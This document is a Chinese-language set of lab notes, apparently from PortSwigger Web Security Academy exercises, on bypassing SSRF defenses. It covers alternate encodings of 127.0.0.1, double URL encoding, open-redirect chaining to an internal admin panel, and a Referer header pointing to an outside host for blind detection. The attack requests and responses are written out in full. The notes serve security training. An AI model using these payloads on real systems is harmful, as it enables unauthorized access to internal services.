SSRF defense bypass

SSRF攻擊的防禦措施很常見,但大部份可以饒過

當安全限制封鎖127.0.0.1localhost或敏感URL的輸入時,有以下方式可以饒過:

  • 使用替代的IP表示127.0.0.1,例如2130706433017700000001127.1
  • 註冊您自己的域名並解析為127.0.0.1
  • 使用URL編碼或大小寫變化來混淆黑名單字串。
  • 使用您能控制的URL,該URL會重新導向到目標URL。嘗試對目標URL使用不同的重定向程式碼以及不同的協定。例如,在重新導向過程中,從http:https:切換可以繞過某些SSRF過濾器。


饒過黑名單過濾

正常請求如下,己知stockApi有一個SSRF安全漏洞

POST /product/stock HTTP/1.1
...omit...
stockApi=http%3A%2F%2Fstock.weliketoshop.net%3A8080%2Fproduct%2Fstock%2Fcheck%3FproductId%3D1%26storeId%3D1

因此可以用stockApi去嘗試訪問http://127.0.0.1/admin ,但因為目標有做安全限制,因此返回400

############ attack request ############ 
POST /product/stock HTTP/1.1
...omit...
stockApi=http://127.0.0.1/admin   
 
############ attack response ############ 
400

嘗試把127.0.0.1換成 127.1。發現仍然被阻擋,但返回訊息變成500

############ attack request ############ 
POST /product/stock HTTP/1.1
...omit...
stockApi=http://127.1/admin    

############ attack respone ############ 
500

admin可能被安全機制當做敏感輸入而被限制,嘗試將admin的a用double-URL encoding為%2561,發現可以成功訪問admin

############ attack request ############ 
POST /product/stock HTTP/1.1
...omit...
stockApi=http://127.1/%2561dmin   

############ attack response ############ 
200
...omit...
 <a href="//192.168.0.12:8080/admin/delete?username=carlos">Delete</a>
...omit...

lab: SSRF with blacklist-based input filter


利用重定向繞過安全機制

己知stockApi有SSRF安全漏洞,嘗試訪問管理介面被安全機制阻止

############ attack request ############ 
...omit...
stockApi=http://192.168.0.12:8080/admin

############ attak response ############ 
HTTP/1.1 400 Bad Request
Content-Type: application/json; charset=utf-8
Connection: close
Content-Length: 48
"Invalid external stock check url 'Invalid URL'"

而該目標有個請求可以做重導向,透過path參數可以重導向指定的位置

############ request ############ 
GET /product/nextProduct?currentProductId=1&path=/product?productId=2 HTTP/1.1
...omit...

############ response ############ 
HTTP/1.1 302 Found
Location: /product?productId=2
Connection: close
Content-Length: 0

將path參數改為管理界面,利用重導向的方式扺達管理界面

############ attack request ############ 
GET /product/nextProduct?currentProductId=1&path=http://192.168.0.12:8080/admin HTTP/1.1
...omit...

############ attack response ############ 
HTTP/1.1 302 Found
Location: http://192.168.0.12:8080/admin
Connection: close
Content-Length: 0

將重導向功能的網址餵給stockApi,嘗試利用重導向饒過安全機制,但出現遺失參數訊息

############ attack request  ############ 
...omit...
stockApi=/product/nextProduct?currentProductId=1&path=http://192.168.0.12:8080/admin

 ############ attack response ############ 
"Missing parameter 'path'"

調整請求,只保留path參數在做測試,可成功利用重導向饒過安全機制

############ attack request ############ 
...omit...
stockApi=/product/nextProduct?path=http://192.168.0.12:8080/admin

############ attack response ############ 
...omit...
<div>
     <span>administrator - </span>
     <a href="//192.168.0.12:8080/admin/delete?username=administrator">Delete</a>
</div>
<div>
     <span>wiener - </span>
     <a href="//192.168.0.12:8080/admin/delete?username=wiener">Delete</a>
</div>
...omit...

lab: SSRF with filter bypass via open redirection vulnerability


盲注

如果SSRF訪問結果不會回應在前端,可以透過訪問外網來確認

  • 請求中的部分 URL:有時應用程式只會將主機名稱或 URL 路徑的一部分放入請求參數中。然後,提交的值會在伺服器端合併,然後產生完整的URL
  • 資料格式中的 URL:某些應用程式允許請求該數據格式的URL,像是XML資料格式
  •  Referer header:一些應用程式使用伺服器端分析軟體來追蹤訪客,分析軟體會存取Referer標頭中出現的任何第三方 URL

假如懷疑referer有SSRF漏洞,可以使用以下請求

GET /product?productId=13 HTTP/1.1
Host: ac761f9a1fa0ac4080340a960055008f.web-security-academy.net
...omit...
Referer: https://outside.webserver
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=mguSzHNei4uLoGhWwxNHydOXGFfirdD2

如果有SSRF問題,服務器outside.webserver會接收到dns請求